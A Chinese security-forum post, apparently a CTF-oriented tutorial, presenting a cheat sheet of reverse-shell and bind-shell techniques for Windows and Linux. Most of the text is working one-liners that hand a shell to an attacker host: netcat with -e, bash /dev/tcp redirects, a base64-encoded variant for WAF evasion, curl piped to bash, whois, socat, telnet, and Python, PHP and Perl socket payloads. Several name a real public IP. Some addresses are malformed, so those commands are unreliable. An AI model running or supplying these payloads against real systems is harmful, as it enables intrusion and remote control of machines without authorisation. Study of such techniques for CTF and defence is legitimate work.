安全矩阵

 找回密码
 立即注册
搜索
查看: 950|回复: 0

【表哥有话说 第108期】反弹shell

[复制链接]

102

主题

102

帖子

330

积分

中级会员

Rank: 3Rank: 3

积分
330
发表于 2024-3-25 00:40:17 | 显示全部楼层 |阅读模式
TimeKeeper SKSEC 2024-03-03 19:12 山东

为什么要反弹shell
1、目标机因防火墙受限,目标机器只能发送请求,不能接收请求
2、目标机端口被占用
3、目标机位于局域网,或IP会动态变化,攻击机无法直接连接
4、对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的
反弹shell的方法Windows反弹shell
工具:netcat/nc
1、NC正向shell
控制端主动连接被控端
被控端:

nc -lvvp 6666 -e cmd.exe
-l  监听
-vv 显示详细信息
-p  指定端口

控制端:

nc 192.168.162.6666

原理:
被控端将cmd.exe重定向到本地的6666端口,控制端主动连接被控端的6666端口,即可获得shell
2、NC反向shell
被控端主动连接控制端
控制端:
nc -lvvp 6666

被控端:
nc -e cmd.exe 192.168.227 6666

原理:
被控端将cmd.exe重定向到控制端的6666端口,控制端只需要监听本地的6666端口,即可获得shellLinux反弹shell
1、NC正向shell
被控端:

nc -lvvp 6666 -e /bin/sh
-l  监听
-vv 显示详细信息
-p  指定端口

控制端:

nc 192.168.162.6666

原理:
被控端使用nc将/bin/sh绑定到本地的6666端口,控制端主动连接被控端的6666端口,即可获得shell
2、NC反向shell(做题一般是用反向)
控制端:
nc -lvvp 6666

被控端:
nc -e /bin/sh 192.168.227 6666

原理:
被控端使用nc将/bin/sh发送到控制端的6666端口,控制端只需要监听本地的6666端口,即可获得shell
3、bash反弹
bash -i >& /dev/tcp/192.168.2.102/7777 0>&1
bash -c "bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1"

// base -i 产生一个bash交互环境
// >& 将联合符号前面的内容与后面相结合然后一起重定向给后者
// /dev/tcp/192.168.2.102/7777 linux环境中所有的内容都是以文件的形式存在的,将主机与目标主机 192.168.2.102:7777 端口建立一个**TCP连接**
// 将**标准输入**与**标准输出**内容相结合,然后重定向给前面标准输出内容
waf 时可以使用 base64 编码执行 bash 反弹 shell
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTAyLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}'

// YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTAyLzQ0NDQgMD4mMQ== 解码结果为
// bash -i >& /dev/tcp/192.168.2.102/4444 0>&1
4、curl反弹
这里操作借助了Linux的管道,Kali开启 apache 服务,把 bash 命令写入 html 文件,只要文本包含 bash 一句话即可
bash -i >& /dev/tcp/192.168.2.103/6666 0>&1
然后在目标机上执行如下命令
curl 192.168.2.103/bash.html|bash
curl ip:port|`ls|base`
5、whois反弹
whois -h 192.168.2.102 -p 4444 `pwd`
// 反弹的shell只能执行后面带的命令
6、socat反弹
socat tcp-connect:47.xxx.xxx.72:2333 exec:'bash -li',pty,stderr,setsid,sigint,sane
7、telnet反弹
方法一:
mknod a p; telnet 47.xxx.xxx.72 2333 0<a | /bin/bash 1>a
方法二:
攻击机开两个监听
nc -lvvp 2333nc -lvvp 4000
目标机主动连接攻击机:
telnet 47.101.57.72 2333 | /bin/bash | telnet 47.101.57.72 4000
8、各种脚本反弹
本地开启监听:
nc -lvvp 2333
python 脚本
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xxx.xxx.72",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php 脚本
php -r '$sock=fsockopen("47.xxx.xxx.72",2333);exec("/bin/sh -i <&3 >&3 2>&3");'
Perl 脚本
perl -e 'use Socket;$i="47.101.57.72";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
在实际的解题过程中,使用比较多的是nc反弹和bash反弹,使用条件是有一个公网IP来访问到本机。公网IP获取的方法,可以租服务器或者是做内网穿透


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 22:34 , Processed in 0.012263 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表